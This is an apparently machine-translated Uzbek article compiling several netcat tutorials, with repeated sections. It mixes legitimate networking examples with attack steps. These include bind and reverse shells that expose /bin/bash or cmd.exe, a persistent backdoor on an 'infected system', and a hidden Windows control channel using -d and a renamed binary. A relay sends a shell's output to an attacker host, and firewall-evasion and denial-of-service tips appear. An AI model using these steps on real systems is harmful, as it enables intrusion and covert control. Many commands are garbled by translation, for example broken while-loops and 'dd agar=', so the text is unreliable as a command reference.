Netcat buyruqlari. Netcat-dan qanday foydalanish - Shveytsariya armiyasining xakerlik vositalarining pichog'i. ...va portativ port skaneri

Ushbu maqolada men mashhur netcat tarmoq yordam dasturini va u bilan ishlashda foydali fokuslarni ko'rib chiqaman.


Netcat - bu TCP va UDP ulanishlarini o'rnatish, u yerdan ma'lumotlarni qabul qilish va uzatish imkonini beruvchi Unix yordam dasturi. Foydali va soddaligiga qaramay, ko'pchilik undan qanday foydalanishni bilishmaydi va uni chetlab o'tishadi.


Ushbu yordam dasturidan foydalanib, siz kirish testini o'tkazishda ba'zi qadamlarni bajarishingiz mumkin. Bu hujum qilingan mashinada o'rnatilgan paketlar bo'lmasa (yoki e'tiborni jalb qilsa), cheklovlar mavjud bo'lganda (masalan, IoT/O'rnatilgan qurilmalar) va hokazolarda foydali bo'lishi mumkin.


Netcat bilan nima qilishingiz mumkin:

  • skanerlash portlari;
  • Oldinga portlar;
  • Xizmat bannerlarini yig'ish;
  • Portni tinglash (teskari ulanish uchun ulanish);
  • Fayllarni yuklab oling va yuklang;
  • Xom HTTP kontentini chiqarish;
  • Mini-chat yarating.

Umuman olganda, netcat yordamida siz Unix utilitlarining bir qismini almashtirishingiz mumkin, shuning uchun bu vositani ma'lum vazifalarni bajarish uchun o'ziga xos kombinat deb hisoblash mumkin.

Amaliy misollar

Ko'p hollarda, agar ma'lum bir xostni tekshirish zarur bo'lsa, ular xost yoki bannerni aniqlash uchun telnet yoki o'zlarining xizmat xizmatlaridan foydalanadilar. Netcat bizga qanday yordam berishi mumkin:

Ochiq TCP porti 12345 tekshirilmoqda

$ nc -vn 192.168.1.100 12345
nc: 192.168.1.100 ga ulanish 12345 (tcp) amalga oshmadi: Ulanish rad etildi

$ nc -v 192.168.1.100 22
192.168.1.100 22 portiga ulanish muvaffaqiyatli amalga oshirildi!
SSH-2.0-OpenSSH

Netcat yordamida TCP portlarini skanerlash:

$ nc -vnz 192.168.1.100 20-24

Bunday skanerlash bilan portga ulanish bo'lmaydi, faqat muvaffaqiyatli ulanishning chiqishi:


nc: 192.168.1.100 portiga ulanish 20 (tcp) bajarilmadi: ulanish rad etildi
nc: 192.168.1.100 portiga ulanish 21 (tcp) bajarilmadi: ulanish rad etildi
0 ta assotsiatsiya topildi
1 ta ulanish topildi:
1: bayroqlar = 82
outif en0
src 192.168.1.100 port 50168
dst 192.168.1.100 port 22
daraja haqida ma'lumot mavjud emas
TCP aux ma'lumotlari mavjud
192.168.1.100 22 portiga ulanish muvaffaqiyatli bo'ldi!
nc: 192.168.1.100 portiga ulanish 23 (tcp) bajarilmadi: ulanish rad etildi
nc: 192.168.1.100 portiga ulanish 24 (tcp) bajarilmadi: ulanish rad etildi

UDP portlarini skanerlash.

UDP portlarini nmap bilan skanerlash uchun sizga ildiz huquqlari kerak. Agar ular yo'q bo'lsa, bu holda netcat yordam dasturi ham bizga yordam berishi mumkin:


$ nc -vnzu 192.168.1.100 5550-5560
192.168.1.100 5555 portiga ulanish muvaffaqiyatli bo'ldi!

UDP paketini yuborish

$ echo -n "foo" | nc -u -w1 192.168.1.100 161

Bu tarmoq qurilmalari bilan ishlashda foydali bo'lishi mumkin.

UDP portida ma'lumotlarni qabul qilish va olingan ma'lumotlarni chiqarish

$ nc -u localhost 7777

Birinchi xabardan keyin chiqish to'xtaydi. Agar siz bir nechta xabarlarni qabul qilishingiz kerak bo'lsa, true holatida:


$ rost bo'lsa; nc -u localhost 7777 ni bajaring; bajarildi

Fayl uzatish. Netcat-dan foydalanib siz fayllarni qabul qilishingiz va ularni masofaviy xostga o'tkazishingiz mumkin:


nc 192.168.1.100 5555< 1.txt
nc -lvp 5555 > /tmp/1.txt

Netcact oddiy veb-server sifatida.

Netcat HTML-sahifalarni ko'rsatish uchun oddiy veb-server vazifasini bajarishi mumkin.


$ rost bo'lsa; nc -lp 8888 ni bajaring< index.html; done

Brauzerdan foydalanish: http://netcat host:8888/index.html. 80-raqamli standart veb-server portidan foydalanish uchun siz root imtiyozlari bilan nc-ni ishga tushirishingiz kerak bo'ladi:


$ rost bo'lsa; sudo nc -lp 80 ni bajaring< test.html; done

Tugunlar orasidagi suhbat

Birinchi tugunda (192.168.1.100):


$nc -lp 9000

Ikkinchi tugunda:


$nc 192.168.1.100 9000

Buyruqlar bajarilgandan so'ng, istalgan tugundagi terminal oynasiga kiritilgan barcha belgilar boshqa tugunning terminal oynasida paydo bo'ladi.

Teskari qobiq

Netcat yordamida siz qulay teskari qobiqni tashkil qilishingiz mumkin:


nc -e /bin/bash -lp 4444

Endi siz masofaviy hostdan ulanishingiz mumkin:


$nc 192.168.1.100 4444

Agar sizda ma'lum vositalar bo'lmasa, taslim bo'lmaslik kerak, ko'pincha juda og'ir; ba'zida muammoni doğaçlama vositalar bilan hal qilish mumkin.

·nc -h

Ko'rib turganingizdek, Netcat-ning asosiy sintaksisi quyidagicha.

Boshqa mashinaga ulanish uchun:

nc variantlari xost IP-manzil porti

kiruvchi ulanishlarni tinglash uchun:

nc -l -p porti

2-qadam: Masofaviy tizimga ulanish uchun Netcat-dan foydalaning

Masofaviy tizimga ulanish uchun Netcat-dan foydalanamiz. Bizning holatda biz veb-serverga 80-port orqali ulanishga harakat qilamiz. Yozing:

·nc 192.168.1.105 80


3-qadam: OS barmoq izi bannerini olish uchun Netcat-dan foydalaning

Internetga TCP ulanishiga ega bo'lganimizdan so'ng, qurbonning veb-serverida qanday dasturiy ta'minot ishlayotganini aniqlash uchun veb-server bannerini olish uchun Netcat-dan foydalanishimiz mumkin.

Esda tutingki, har qanday tizimga hujum qilishdan oldin, qurbon haqida iloji boricha ko'proq ma'lumot olishimiz kerak. Netcat veb-serverlar yangi ulanishlar uchun xizmat qiladigan bannerlarni suratga olish orqali bizga bu vazifani bajarishda yordam berishi mumkin.

Endi bizda ulanish mavjud, biz buyruq yordamida veb-serverdan bannerni olishimiz mumkin:

HEAD / HTTP/1.0

Ehtiyot bo'ling va muallif kiritganidek, oldinga qiyshiq chiziqlar va bo'shliqlar bilan nusxa oling.


Enter tugmasini bir necha marta bosing va veb-server o'z banneri bilan javob beradi va u qanday dastur ishlayotganini aytadi. Bizning holatimizda veb-serverda Microsoft IIS 6.0 ishlayotganligini ko'rishimiz mumkin.

Biz bu usuldan boshqa ochiq veb-saytlarda ham foydalanishimiz mumkin. Keling, ba'zi taniqli saytlarni sinab ko'raylik va ularning veb-serverlarida qanday dasturlardan foydalanishlarini ko'rib chiqamiz. Birinchidan, wonderhowto.com saytini sinab ko'raylik. Wonderhowto.com saytiga ping yuborganimizda IP manzili 98.129.110.26 ekanligini ko'ramiz. Shunday qilib, siz quyidagilarni kiritishingiz mumkin:

·nc 98.129.110.26 80

Ulanish mavjud bo'lganda, biz yana yozish orqali veb-bannerni olishimiz mumkin:

HEAD / HTTP/1.0

Keyin Enter tugmasini ikki yoki uch marta bosing.


Ko'rib turganingizdek, wonderhowto.com Microsoft-IIS/7.5 da ishlaydi.

Agar biz cnn.com bilan xuddi shunday harakat qilsak, quyidagi natijalarga erishamiz:


Qizig'i shundaki, cnn.com nginx, ochiq kodli veb-serverda ishlaydi, u juda qisqa vaqt ichida Microsoft IIS o'rnatishlarining umumiy soniga yetdi (Apache-dan sayyoramizdagi veb-serverlarning 60% dan ortig'i foydalanishda davom etmoqda). .

4-qadam: Ulanishlarni tinglash uchun Netcat-dan foydalaning

Endi masofaviy tizimda tinglovchi yaratish uchun netcat-dan foydalanamiz. Faraz qilaylik, bizda netcat o'rnatilgan Windows Server bor. Endi biz ushbu tizimdagi 6996 portida (bu har qanday port bo'lishi mumkin) netcat tinglovchisini ochish uchun quyidagilarni kiritishimiz mumkin:

·nc - l -p 6996

Bizning bo'sh vaqtimizga ulanishi mumkin bo'lgan "tinglovchi" shunday yaratilgan. E'tibor bering, Windows tizimlarida biz xuddi shu buyruqni katta L harfi bilan bajarishimiz mumkin va bu tizim qayta ishga tushirilganda ham ochiladigan doimiy tinglovchini yaratadi.

5-qadam: Orqa eshik yarating

Keling, istalgan vaqtda qaytib kelishimiz uchun infektsiyalangan tizimda orqa eshik yarataylik. Buyruq qaysi tizimga, Linux yoki Windowsga hujum qilayotganimizga qarab biroz farq qiladi.

Windows uchun biz foydalanamiz:

·nc -l -p 6996 -e cmd.exe

Linux uchun biz foydalanamiz:

·nc -l -p 6996 -e /bin/bash

·nc 192.168.1.105 6996


Ko'rib turganingizdek, Windows buyruq qatori bizning netcat ulanishimiz orqali bizning hujum tizimimizga o'tkazildi! Bizda bu quti bor!

Asl: Linuxda foydali netcat misollari
Muallif: Dan Nanni
Nashr qilingan sana: 2014 yil 27 yanvar
Tarjimasi: A. Panin
Tarjima sanasi: 2016 yil 7 sentyabr

Odatda TCP/IP tarmoqlarining "Shveytsariya armiyasi pichog'i" deb ataladigan yordamchi dastur Linuxda TCP/UDP rozetkalari bilan deyarli hamma narsani qilish imkonini beruvchi juda moslashuvchan vositadir. Bu tizim ma'murlari orasida diagnostika va tarmoqlar bilan tajriba o'tkazish uchun eng mashhur vositalardan biridir.

Ma'lum bo'lgan tarmoq xizmat ko'rsatish portlarida (0-1023) ulanishlarni qabul qilish uchun nc dan foydalanganda sizga root huquqlari kerak bo'lishini unutmang. Boshqa barcha holatlarda, nc to'g'ri ishlashi uchun oddiy foydalanuvchi huquqlari etarli.

1. Masofaviy hostda ma'lum bir ochiq TCP portini tekshirish

$ nc -vn 192.168.233.208 5000 nc: 192.168.233.208 ga ulanish 5000 (tcp) amalga oshmadi: Ulanish rad etildi $ nc -v 192.168.233.208 22 1982.23.23 portiga ulanish! SSH-2.0-OpenSSH_6.0p1 Debian-4

2. UDP test paketini masofaviy xostga yuborish

Quyidagi buyruq berilgan manzilga ega masofaviy xostning 5000 portiga 1 soniya kechikish bilan UDP test paketini yuborish uchun mo'ljallangan.

$ echo -n "foo" | nc -u -w1 192.168.1.8 5000

3. Masofaviy hostda TCP portlarini skanerlash

Quyidagi buyruq portlarni diapazonlardan skanerlash va ochiq portlar ro'yxatini chiqarish uchun mo'ljallangan.

$ nc -vnz -w 1 192.168.233.208 1-1000 2000-3000

4. Faylni (masalan, my.jpg) hostA.com nomli hostdan hostB.com nomli xostga nusxalash

$ nc -lp 5000 > my.jpg

$nc hostB.com 5000< my.jpg

5. Katalogni (barcha mazmuni bilan) hostA.com tugunidan hostB.com tuguniga o'tkazish

hostB.com nomli xostda (host):

$nc -l 5000 | tar xvf -

hostA.com nomli xostda (yuboruvchi tomon):

$ tar cvf - /path/to/dir | nc hostB.com 5000

6. Masofaviy hostda UDP portlarini skanerlash

$ nc -vnzu 192.168.1.8 1-65535 192.168.1.8 68 portiga ulanish muvaffaqiyatli bo'ldi! 192.168.1.8 5353 portiga ulanish muvaffaqiyatli amalga oshirildi! 192.168.1.8 16389 portiga ulanish muvaffaqiyatli amalga oshirildi! 192.168.1.8 38515 portiga ulanish muvaffaqiyatli amalga oshirildi! 192.168.1.8 45103 portiga ulandi!

Yuqoridagi buyruq sizga masofaviy serverdagi ochiq, tinglovchi UDP portlarini ro'yxatga olish imkonini beradi.

7. UDP portida ma'lumotlarni kutish va qabul qilingan ma'lumotlarni matn formatida chiqarish

Quyidagi buyruq sizga ma'lum bir UDP portida xabarlarni (matn satrlarini) qabul qilish imkonini beradi.

$ nc -u localhost 5000

Iltimos, ushbu buyruq birinchi xabarni olgandan so'ng darhol o'chib ketishini unutmang. Agar siz bir qator xabarlarni olishni istasangiz, quyidagi kabi while tsiklidan foydalanishingiz kerak bo'ladi:

$ rost bo'lsa; nc -u localhost 5000 ni bajaring; bajarildi

8. Qattiq diskdagi (siqilgan) tasvir faylini (masalan, /dev/sdb) uzoq serverga saqlash

Masofaviy serverda:

$nc -lp 5000 | sudo dd of=/backup/sdb.img.gz

Qattiq disk o'rnatilgan mahalliy xostda:

$dd agar=/dev/sdb | gzip -c | nc remote_server.com 5000

9. Masofaviy serverda saqlangan siqilgan tasvir faylidan qattiq disk tarkibini tiklash

Mahalliy tugunda:

$nc -lp 5000 | gunzip -c | sudo dd of=/dev/sdb

Qattiq diskdagi tasvir fayli saqlanadigan masofaviy serverda (masalan, /backup/sdb.img.gz):

$ cat /backup/sdb.img.gz | nc my_local_host.com 5000

10. Veb-serverga o'xshash statik veb-sahifani uzatish

8000 portiga ulangan mijozlarga test.html nomli veb-sahifani taqdim etadigan veb-serverni ishga tushirish uchun quyidagi buyruqni bajaring.

$ rost bo'lsa; nc -lp 8000 ni bajaring< test.html; done

Endi veb-sahifaning mavjudligini veb-brauzeringizdan foydalanib tekshiring: http:// :8000/test.html . E'tibor bering, standart veb-server port raqami 80 dan foydalanish uchun siz nc ni root sifatida quyidagi tarzda ishga tushirishingiz kerak bo'ladi:

$ rost bo'lsa; sudo nc -lp 80 ni bajaring< test.html; done

11. Ikki tugun o'rtasida himoyalanmagan suhbatni tashkil qilish

Birinchi tugunda (192.168.233.203):

$nc -lp 5000

Ikkinchi tugunda:

$nc 192.168.233.203 5000

Yuqoridagi ikkita buyruq bajarilgandan so'ng, istalgan tugundagi terminal oynasiga kiritilgan barcha belgilar boshqa tugunning terminal oynasida paydo bo'ladi.

12. Mahalliy tugun bilan ishlashda masofaviy tugunda ixtiyoriy buyruqlarni bajarish imkonini beruvchi “masofaviy buyruqlar qobig‘ini” ishga tushirish

Masofaviy tugunda (192.168.233.208):

$ nc -lp 5000 -e /bin/bash

Mahalliy tugunda:

$nc 192.168.233.208 5000

Mahalliy xostda yuqoridagi buyruqni bajarganingizdan so'ng, mahalliy xost terminal oynasi orqali masofaviy xostdagi istalgan buyruqlarni bajarishingiz mumkin bo'ladi. Buyruqlar masofaviy tugunda bajariladi va bu buyruqlarning chiqishi mahalliy tugunning terminal oynasida paydo bo'ladi. Ushbu yondashuv masofaviy xostda orqa eshik yaratish uchun ishlatilishi mumkin.

13. Muayyan veb-sayt uchun proksi-server yarating (masalan, google.com)

$ mkfifo proxypipe $ rost bo'lsa; nc -l 5000 0 ni bajaring proksipipe; bajarildi

Yuqoridagi buyruqlar quvur nomli proksi-pipe yaratadi va nc yordam dasturidan mahalliy xost portidagi 5000-dagi barcha TCP ulanishlarini http://www.google.com veb-saytiga ikki tomonlama quvur orqali yo'naltirish uchun foydalanadi. Ushbu buyruqlarni bajarganingizdan so'ng, veb-brauzeringizning manzil satriga http://127.0.0.1:5000 manzilini kiritish orqali Google qidiruv tizimining asosiy sahifasiga o'tishingiz mumkin.

14. Muayyan veb-sayt uchun SSL proksi-serverini yarating (masalan, google.com)

$ mkfifo proksi-pipe $ mkfifo proksi-pipe2 $ nc -l 5000 -k > proksi-pipe< proxypipe2 & $ while true do; openssl s_client -connect www.google.com:443 -quiet < proxypipe >proksi-pipe2; bajarildi

Yuqoridagi buyruqlar google.com veb-saytiga ulanish imkonini beruvchi SSL-ni yoqadigan proksi-server yaratish uchun nc yordam dasturidan foydalanish imkonini beradi.

15. Videofaylni serverdan oqimlash va uni mijoz mashinasida mplayer pleer yordamida ko'rish

Video oqim serverida (192.168.233.208):

$ cat video.avi | nc -l 5000

Mijoz tizimida:

$nc 192.168.233.208 5000 | mplayer -vo x11 -kesh 3000 -

16. IPv6 manzili yordamida ma'lum bir portdagi TCP ulanishlarini qabul qiling

Quyidagi buyruqlar nc yordam dasturiga TCP portidagi ulanishlarni qabul qilishda IPv6 manzilidan foydalanish imkonini beradi. Bu tarmoqdagi IPv6 manzil sozlamalarining to'g'riligini tekshirish jarayonida zarur bo'lishi mumkin.

$ nc -6 -l 5000 $ sudo netstat -nap | grep 5000 tcp6 0 0:::5000:::* TINGLASH 4099/nc

Agar sizga maqola yoqqan bo'lsa, uni do'stlaringiz bilan baham ko'ring:

Ushbu maqolada men mashhur netcat tarmoq yordam dasturini va u bilan ishlashda foydali fokuslarni ko'rib chiqaman.


Netcat - bu TCP va UDP ulanishlarini o'rnatish, u yerdan ma'lumotlarni qabul qilish va uzatish imkonini beruvchi Unix yordam dasturi. Foydali va soddaligiga qaramay, ko'pchilik undan qanday foydalanishni bilishmaydi va uni chetlab o'tishadi.


Ushbu yordam dasturidan foydalanib, siz kirish testini o'tkazishda ba'zi qadamlarni bajarishingiz mumkin. Bu hujum qilingan mashinada o'rnatilgan paketlar bo'lmasa (yoki e'tiborni jalb qilsa), cheklovlar mavjud bo'lganda (masalan, IoT/O'rnatilgan qurilmalar) va hokazolarda foydali bo'lishi mumkin.


Netcat bilan nima qilishingiz mumkin:

  • skanerlash portlari;
  • Oldinga portlar;
  • Xizmat bannerlarini yig'ish;
  • Portni tinglash (teskari ulanish uchun ulanish);
  • Fayllarni yuklab oling va yuklang;
  • Xom HTTP kontentini chiqarish;
  • Mini-chat yarating.

Umuman olganda, netcat yordamida siz Unix utilitlarining bir qismini almashtirishingiz mumkin, shuning uchun bu vositani ma'lum vazifalarni bajarish uchun o'ziga xos kombinat deb hisoblash mumkin.

Amaliy misollar

Ko'p hollarda, agar ma'lum bir xostni tekshirish zarur bo'lsa, ular xost yoki bannerni aniqlash uchun telnet yoki o'zlarining xizmat xizmatlaridan foydalanadilar. Netcat bizga qanday yordam berishi mumkin:

Ochiq TCP porti 12345 tekshirilmoqda

$ nc -vn 192.168.1.100 12345
nc: 192.168.1.100 ga ulanish 12345 (tcp) amalga oshmadi: Ulanish rad etildi

$ nc -v 192.168.1.100 22
192.168.1.100 22 portiga ulanish muvaffaqiyatli amalga oshirildi!
SSH-2.0-OpenSSH

Netcat yordamida TCP portlarini skanerlash:

$ nc -vnz 192.168.1.100 20-24

Bunday skanerlash bilan portga ulanish bo'lmaydi, faqat muvaffaqiyatli ulanishning chiqishi:


nc: 192.168.1.100 portiga ulanish 20 (tcp) bajarilmadi: ulanish rad etildi
nc: 192.168.1.100 portiga ulanish 21 (tcp) bajarilmadi: ulanish rad etildi
0 ta assotsiatsiya topildi
1 ta ulanish topildi:
1: bayroqlar = 82
outif en0
src 192.168.1.100 port 50168
dst 192.168.1.100 port 22
daraja haqida ma'lumot mavjud emas
TCP aux ma'lumotlari mavjud
192.168.1.100 22 portiga ulanish muvaffaqiyatli bo'ldi!
nc: 192.168.1.100 portiga ulanish 23 (tcp) bajarilmadi: ulanish rad etildi
nc: 192.168.1.100 portiga ulanish 24 (tcp) bajarilmadi: ulanish rad etildi

UDP portlarini skanerlash.

UDP portlarini nmap bilan skanerlash uchun sizga ildiz huquqlari kerak. Agar ular yo'q bo'lsa, bu holda netcat yordam dasturi ham bizga yordam berishi mumkin:


$ nc -vnzu 192.168.1.100 5550-5560
192.168.1.100 5555 portiga ulanish muvaffaqiyatli bo'ldi!

UDP paketini yuborish

$ echo -n "foo" | nc -u -w1 192.168.1.100 161

Bu tarmoq qurilmalari bilan ishlashda foydali bo'lishi mumkin.

UDP portida ma'lumotlarni qabul qilish va olingan ma'lumotlarni chiqarish

$ nc -u localhost 7777

Birinchi xabardan keyin chiqish to'xtaydi. Agar siz bir nechta xabarlarni qabul qilishingiz kerak bo'lsa, true holatida:


$ rost bo'lsa; nc -u localhost 7777 ni bajaring; bajarildi

Fayl uzatish. Netcat-dan foydalanib siz fayllarni qabul qilishingiz va ularni masofaviy xostga o'tkazishingiz mumkin:


nc 192.168.1.100 5555< 1.txt
nc -lvp 5555 > /tmp/1.txt

Netcact oddiy veb-server sifatida.

Netcat HTML-sahifalarni ko'rsatish uchun oddiy veb-server vazifasini bajarishi mumkin.


$ rost bo'lsa; nc -lp 8888 ni bajaring< index.html; done

Brauzerdan foydalanish: http://netcat host:8888/index.html. 80-raqamli standart veb-server portidan foydalanish uchun siz root imtiyozlari bilan nc-ni ishga tushirishingiz kerak bo'ladi:


$ rost bo'lsa; sudo nc -lp 80 ni bajaring< test.html; done

Tugunlar orasidagi suhbat

Birinchi tugunda (192.168.1.100):


$nc -lp 9000

Ikkinchi tugunda:


$nc 192.168.1.100 9000

Buyruqlar bajarilgandan so'ng, istalgan tugundagi terminal oynasiga kiritilgan barcha belgilar boshqa tugunning terminal oynasida paydo bo'ladi.

Teskari qobiq

Netcat yordamida siz qulay teskari qobiqni tashkil qilishingiz mumkin:


nc -e /bin/bash -lp 4444

Endi siz masofaviy hostdan ulanishingiz mumkin:


$nc 192.168.1.100 4444

Agar sizda ma'lum vositalar bo'lmasa, taslim bo'lmaslik kerak, ko'pincha juda og'ir; ba'zida muammoni doğaçlama vositalar bilan hal qilish mumkin.

Netcat yordam dasturining asosiy maqsadi (yoki tegishli bajariladigan fayl deb ataladigan "nc") foydalanuvchiga TCP yoki UDP transport protokoli yordamida tarmoq orqali istalgan ma'lumotlarni uzatish imkoniyatini berishdir. Bundan tashqari, netcat UDP yoki TCP portlarini skanerlash kabi bir nechta qiziqarli funktsiyalarni bajarishi mumkin.

Bunday holda, foydalanuvchi, xususan:

  • ulanish portini erkin tanlash (mahalliy va masofaviy);
  • DNS nomlarining oldinga va teskari tarjimasini bajarish (bajarish);
  • netcat-ni mahalliy tugunning tarmoq darajasidagi istalgan manziliga bog'lash;
  • kirish xabarlarini qayta ishlash uchun boshqa dasturga o'tkazish;
  • uzatiladigan ma'lumotlarni shifrlash (bu xususiyat cryptcat deb ataladigan netcat versiyasida amalga oshiriladi).

Asosiy ish rejimlari

Netcat yordam dasturining asosiy ish rejimlari mijoz rejimi va server rejimidir.

Mijoz rejimida ishga tushirishning eng oddiy varianti:

nc xost porti

(agar siz TCP protokolidan foydalanishingiz kerak bo'lsa) yoki

nc -u xost porti

(Agar siz UDP protokolidan foydalanishingiz kerak bo'lsa).

Agar -u opsiyasi yoqilmagan bo'lsa, ushbu rejimni ishga tushirgandan so'ng, netcat xost tugunining port portiga TCP ulanishini o'rnatishga harakat qiladi.

Netcatning vazifasi standart INPUT kanali orqali unga kelgan hamma narsani xost:port soketiga o'tkazish va ushbu rozetkadan kelgan hamma narsani standart OUTPUTga berishdir.

Server rejimida ishga tushirishning eng oddiy varianti:

nc -l -p porti

Ushbu rejimni ishga tushirgandan so'ng, netcat TCP port portiga ulanishni o'rnatish uchun so'rovlarni kutadi. Ulanishni o'rnatgandan so'ng, u standart OUTPUT kanalida ushbu ulanish orqali unga kelgan hamma narsani chiqaradi va standart INPUT kanali orqali unga kelgan hamma narsani qaytarib yuboradi.

Dasturiy ta'minot hujumlarini tayyorlash va o'tkazishda foydalaning

Netcat yordam dasturining bunday keng maqsadi undan foydalanish uchun ko'plab imkoniyatlarni ochib beradi. Dasturiy ta'minot hujumlarini tayyorlash va amalga oshirishda quyidagi muammolarni hal qilish uchun netcat-dan foydalanish mumkin, masalan:

  • tarmoq tugunlari tomonidan taqdim etiladigan xizmatlarni aniqlash (TCP va UDP portlarini skanerlash orqali);
  • tarmoq tugunlari taqdim etadigan dasturiy xizmatlarni aniqlash (tokenlarni yig'ish orqali);
  • tarmoq tugunlariga kirib borishi yoki ular taqdim etayotgan xizmatlarning mavjudligini buzish;
  • tarmoq tugunlarini boshqarish uchun yashirin kanallarni yaratish;
  • yashirin ma'lumotlarni uzatish kanallarini yaratish.

Oxirgi ikki holatda mijoz va netcat server o'rtasidagi almashinuvni shifrlash qobiliyati (cryptcat-da amalga oshirilgan) juda foydali.

Netcat-dan tarmoq xostlariga kirish yoki ular taqdim etayotgan xizmatlarning mavjudligini masofadan turib buzish uchun foydalanish

Tarmoq tugunining kirib borishi ikki ma'noda aytiladi:

1) tugun foydalanuvchisining vakolatini tortib olish to'g'risida (ushbu tugun bo'yicha hech qanday vakolatga ega bo'lmagan shaxs tomonidan);

2) xavfsizlik devori (tarmoq) ekrani tomonidan o'rnatilgan tugun bilan ma'lumot almashishdagi cheklovlarni qanday engish.

netcat ikkala holatda ham foydali bo'lishi mumkin.

Hokimiyatlarni tortib olish hujum maqsadiga tegishli bo'lgan serverga masofaviy hujum orqali mumkin (masalan, bufer to'lib ketishi kabi server zaifligidan foydalanish). Bunday holda, tajovuzkor ma'lum ma'lumotlarni serverga o'tkazish imkoniyatiga ega bo'lishi kerak. Qoida tariqasida, bu oddiy mijoz dasturi yordamida uzatilishi mumkin bo'lmagan ma'lumotlar (lekin netcat-dan foydalanish mumkin, chunki netcat har qanday ma'lumotlarni uzatish imkonini beradi).

Xavfsizlik devoriga kirish (tarmoq) Netcat-ning istalgan mahalliy portga ulanishi (-p opsiyasi bilan yoqilgan) yordam berishi mumkin. Misol uchun, agar mijoz rejimida netcat TCP Port 20 (ftp-ma'lumotlar) bilan bog'lansa, ko'p hollarda xavfsizlik devorlari o'zlari himoya qilayotgan tarmoqdagi xost(lar) ga ulanish imkonini beradi.

Xizmatlarning mavjudligini buzish uchun netcat-ning istalgan serverga har qanday ma'lumotlarni uzatish qobiliyatidan foydalanish mumkin (masalan, serverni muzlatishga olib keladigan noto'g'ri so'rovlar).

Tarmoq tugunlari uchun yashirin boshqaruv kanallarini yaratish uchun netcat-dan foydalanish

Faraz qilaylik, hujumning maqsadi MS Windows NT operatsion tizimida ishlovchi xost bo'ladi. Hujum nishonida harakat qilgan

nc –L -p xxxx -d -e cmd.exe

(bu erda xxxx ixtiyoriy port raqami), biz ushbu ob'ekt uchun yashirin boshqaruv kanalini olamiz. Bu erda -e opsiyasi netcat natijalarining standart OUTPUT standarti cmd.exe standart KIRIShiga ulangan va cmd.exe natijalari va xato xabarlarining standart OUTPUT netcat standart INPUT ga ulangan rejimni yoqadi. -L varianti -l bilan bir xil ta'sirga ega, farqi shundaki, u har bir ulanish tugagandan so'ng netcatni bir xil argumentlar bilan qayta ishga tushirish kerakligini bildiradi. -d (ajratish) opsiyasi ishga tushirishni yashirish uchun ishlatiladi (netcat oyna yaratmaydi va vazifalar ro'yxatida ko'rsatilmaydi). Netcat bajariladigan fayl nomini o'zgartirish orqali qo'shimcha yashirish effektiga erishish mumkin.

Agar, masalan, netcat-ni boshqa tugunda quyidagi tarzda ishga tushirsangiz, ushbu kanaldan foydalanishingiz mumkin:

nc troy xxxx

bu erda troy - hujum nishonining manzili yoki nomi.

Biroq, -e varianti har doim ham netcat ilovalari tomonidan qo'llab-quvvatlanmaydi. Agar ushbu parametr qo'llab-quvvatlanmasa, xuddi shunday natijaga hujum nishonida va tajovuzkor hostida ikkita netcat nusxasini ishga tushirish orqali erishish mumkin. Masalan, siz quyidagi stsenariydan foydalanishingiz mumkin. Hujum nishonida yuguring:

nc -L -p xxxx -d | cmd.exe | nc odysseus yyyy

bu erda odysseus tajovuzkorning manzili yoki xost nomi.

Va hujumchining tugunida:

nc -l -p yyyy

nc troy xxxx

Ushbu stsenariy deyiladi portni yo'naltirish . Dasturlarni boshlashning to'g'ri tartibiga e'tibor bering (bu matnda u noto'g'ri ko'rsatilgan: server mijozdan oldin ishga tushirilishi kerak).

Ushbu skriptni o'zgartirish mumkin. Masalan, netcat-ni hujum nishonida faqat mijoz rejimida va tajovuzkor xostida faqat server rejimida yoki aksincha (to'g'ri ishga tushirish tartibiga rioya qilgan holda: server mijozdan oldin ishga tushishi kerak).

Netcat-ning ishga tushirish rejimlarini manipulyatsiya qilish, port raqamlarini to'g'ri tanlash bilan birga, ko'p hollarda xavfsizlik devori (tarmoq) hujum maqsadini himoya qilish uchun ishlatilsa (masalan, yuqoridagi stsenariy ishlatilsa, xxxx = ni tanlash) 80 ko'p hollarda muvaffaqiyatli bo'lishi mumkin (HTTP Server porti), yyyy = 25 (SMTP Server porti)).

Yashirin ma'lumotlar kanallarini yaratish uchun netcat-dan foydalanish

Misol uchun, faylni socket troy:xxxx dan socket mac:yyyy ga o'tkazish uchun netcat-dan qanday foydalanishni ko'rib chiqing.

Buni amalga oshirish uchun mac tugunida shunga o'xshash narsani ishga tushiring:

nc -l -p yyyy > godear

va tugun troyasida:

nc -p xxxx mac yyyy< prayer

Bu erda yana netcat ishga tushirish rejimlari va port raqamlarini to'g'ri boshqarish xavfsizlik devorlari qo'yadigan cheklovlarni engib o'tishga yordam beradi.

Sizga maqola yoqdimi? Do'stlar bilan baham ko'ring: